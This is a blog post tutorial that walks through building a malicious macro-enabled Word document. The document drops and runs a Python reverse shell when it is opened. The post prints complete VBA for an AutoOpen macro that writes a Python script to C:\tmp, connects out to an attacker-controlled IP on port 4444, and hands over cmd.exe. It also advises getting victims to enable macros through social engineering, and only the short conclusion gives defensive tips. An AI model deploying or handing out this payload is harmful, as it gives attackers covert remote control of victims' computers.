The Silent Shell

SCR1P7K1DD13
8 min readApr 29, 2021

We live in a world where everything is connected through the internet. Something that is considered as a blessing and a curse at the same time. Almost everyone from developers to students uses the internet every day, but they are not the only ones using the internet, some people use the internet for personal or financial gain, people who work while the world sleeps, people who are constantly looking for security issues for exploitation, the “Hackers”. The hackers we know are those who exploit security issues or vulnerabilities in an existing system. But what if I told you that hackers are also exploiting application features to get a foothold to your network. It can be confusing how an application feature can adversely affect a person because it is designed for one purpose. But in a hacker's eyes, it does not matter if it is an object or a feature, it is defined by the way it is used. Similarly, there are some application features that an attacker can take advantage of to hack into your system. Today, we will look at one such feature in MS Word/Excel that hackers exploit widely.

The Mystery Note

I was shocked when I saw a post about the latest attack on how a group of hackers gained control of a network by opening a Word document. After reading the article I did a little research to see what would happen if I opened a malicious word document and I ended up having a shell on my system. In this article, I will guide you on how I was able to get a reverse shell on a system by opening a macro-enabled Word document, so cooperate with me as I explain, because I want you to know every detail of it.

The Feature

The feature we are going to discuss is none other than Macros. Ones that were designed to automate simple tasks inside the application. Macros are capable of automating your workflow once you’re inside the application. They helped make the everyday office worker’s job a little easier, but they also opened up a juicy attack surface. We will be considering Microsoft word as our application of choice. In MS Word under view, there are options to either record or create a custom macro using VBA.

If you select the Record option, you can record the actions you performed while working on the application, and if you choose to create one, you can write your own code to guide the application on what to do. And this is where the problem begins, If you can code and dictate what the app should do, you have the power to do anything within the app’s capabilities.

Creating the document

Every attack needs an attacker and a victim. As usual, an attacker is a person with malicious intent and in this case, the attacker is the person who will be creating the malicious word document. So whatever we discuss under this section will be in favor of the attacker or what the attacker wants to achieve and how he achieves it.

Assumption: Our victim is a developer with python installed in the system.

Why python? Why not a universal method to exploit? you might be having all these doubts and am pretty sure as we go on explaining you’ll get an idea of why we need it.

To create a macro navigate to View → Macros →View Macros.

Set the Macro name to AutoOpen which will direct the application to automatically execute the embedded macro once you’ve opened the document and under the Macro in drop-down select the current document name(Bottom one in the drop-down). Click on create which will open the VBA editor and this is where we will write the code.

The Logic

Now that we have all the initial setup it is time to write the code. We’ll be using python to create the payload and will try embedding it in VBA. I didn't choose easy approaches like having a reverse TCP connection with Netcat or PowerShell script because windows security is highly restrictive. You won't be able to download certain programs or implement certain functions in VBA when windows security is active. If the code inside the macro is found to be malicious then that code will not work. For my viewers, I always want to deliver something that works anyway. Since our victim has python installed in his system we will generate a reverse shell using python and try calling it from our macro. What we need is a persistent connection, not the one that times out quickly after opening the document. The shell should be terminated only after the user explicitly interrupts the python shell. To achieve persistence, we must be able to locally store our python code in the victim's system and execute them from their local environment. But there are restrictions, when it comes to Office macros windows security will restrict you in implementing programs that try to download external files(Correct me if I am wrong 😅). So we can’t store the python program on an external server and download it to the system 😢. This was a real pain for me because for my Macro to work properly the payload(python code) must reside in the victim’s system. I had no one to question, and I could not ask God(Stackoverflow) because I was the only one using this method. Giving up was not an option, so I tried harder, as Elon said,

“When something is important enough, you do it even if the odds are not in your favor

I finally found the solution I was looking for. The idea was to write a macro that will generate a python file locally and execute the same when it is run. Simple right, but trust me, there were more restrictions on the VBA. First of all, the Python script needs to be converted to a single liner, and when it comes to Python you know the classic indentation and syntax errors, so you need to be careful when converting the multiline program to a single line. Inserting your single-liner after troubleshooting will result in errors in VBA because VBA follows a specific structure, and everything built into it must follow the same structure.

The Malicious Code

An attack will succeed as long as the victim is not in doubt. Whatever we are trying to achieve we need to make sure that the victim has no doubts about it. So our code should be carefully crafted and should raise no run-time errors. Follow the steps explained in The Feature section to open the editor to code, First of all, let’s create a directory that stores our python script.

Dim oFSO
Set oFSO = CreateObject("Scripting.FileSystemObject")
If Not oFSO.FolderExists("c:\tmp") Then
oFSO.CreateFolder "C:\tmp"
End If

This code will create a directory named tmp inside the C drive if it does not already exist. Now let's try to store the python program in that directory,

Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile("C:\tmp\prs.py")
Dim str As String
Dim t As String
t = """"
str = "exec(" + t + "import os,socket,subprocess,threading;\ndef s2p(s, p):\n while True:\n data = s.recv(1024)\n if len(data) > 0:\n p.stdin.write(data)\n p.stdin.flush()\n\ndef p2s(s, p):\n while True:\n s.send(p.stdout.read(1))\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('<ip_address>',4444))\n\np=subprocess.Popen(['\\\\windows\\\\system32\\\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\n\ns2p_thread = threading.Thread(target=s2p, args=[s, p])\ns2p_thread.daemon = True\ns2p_thread.start()\n\np2s_thread = threading.Thread(target=p2s, args=[s, p])\np2s_thread.daemon = True\np2s_thread.start()\n\ntry:\n p.wait()\nexcept KeyboardInterrupt:\n s.close() " + t + ")"
oFile.WriteLine str
oFile.Close

This code will generate a file named prs.py inside our newly created directory i.e, inside C:\tmp. After creating the file, we will write the python one-liner stored inside the str variable to the prs.py file. And finally, after creating the file locally we will execute it by calling

Shell ("python C:\tmp\prs.py")

Let's combine the pieces to solve the puzzle

Dim oFSO
Set oFSO = CreateObject("Scripting.FileSystemObject")
If Not oFSO.FolderExists("c:\tmp") Then
oFSO.CreateFolder "C:\tmp"
End If
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Set oFile = fso.CreateTextFile("C:\tmp\prs.py")
Dim str As String
Dim t As String
t = """"
str = "exec(" + t + "import os,socket,subprocess,threading;\ndef s2p(s, p):\n while True:\n data = s.recv(1024)\n if len(data) > 0:\n p.stdin.write(data)\n p.stdin.flush()\n\ndef p2s(s, p):\n while True:\n s.send(p.stdout.read(1))\n\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('<ip_address>',4444))\n\np=subprocess.Popen(['\\\\windows\\\\system32\\\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)\n\ns2p_thread = threading.Thread(target=s2p, args=[s, p])\ns2p_thread.daemon = True\ns2p_thread.start()\n\np2s_thread = threading.Thread(target=p2s, args=[s, p])\np2s_thread.daemon = True\np2s_thread.start()\n\ntry:\n p.wait()\nexcept KeyboardInterrupt:\n s.close() " + t + ")"
oFile.WriteLine str
oFile.Close
Shell ("python C:\tmp\prs.py")

This code when put inside a macro will do the job. First, it creates a directory and stores the program in that directory, and if Python is installed on the system, the program will run locally, eventually creating a reverse shell on the attacker’s machine. Save the code in the editor and save the document as a macro-enabled document.

Note: For the macro to run on a system the victim should allow its execution by clicking the Enable content button in the prompt window that pops up when the file is first opened. Making him click the button is upto your social engineering skills.

Think, Code, Execute

Enough talking, Let’s see what happens when you open the macro-enabled document.

reverse shell

On the left, you can see the victim’s machine opening the document, and on the right, you can see the attacker’s terminal (black window) from where he gives commands.

Note: This is not the only way to target macros. Attackers use frameworks such as PowerShell Empire to craft and distribute undetectable and harmful malware.

Conclusion

Macro-enabled documents can lead to several attacks, including the installation of backdoor and malware. The best way to stay safe from such attacks is to turn them off(Choose File, click Options, and click Trust Center. Click Trust Center Settings, choose the Macro Settings tab, click Disable All Macros Without Notification, and choose OK) and not to open them at all.

Never fall for such attacks 😄

--

--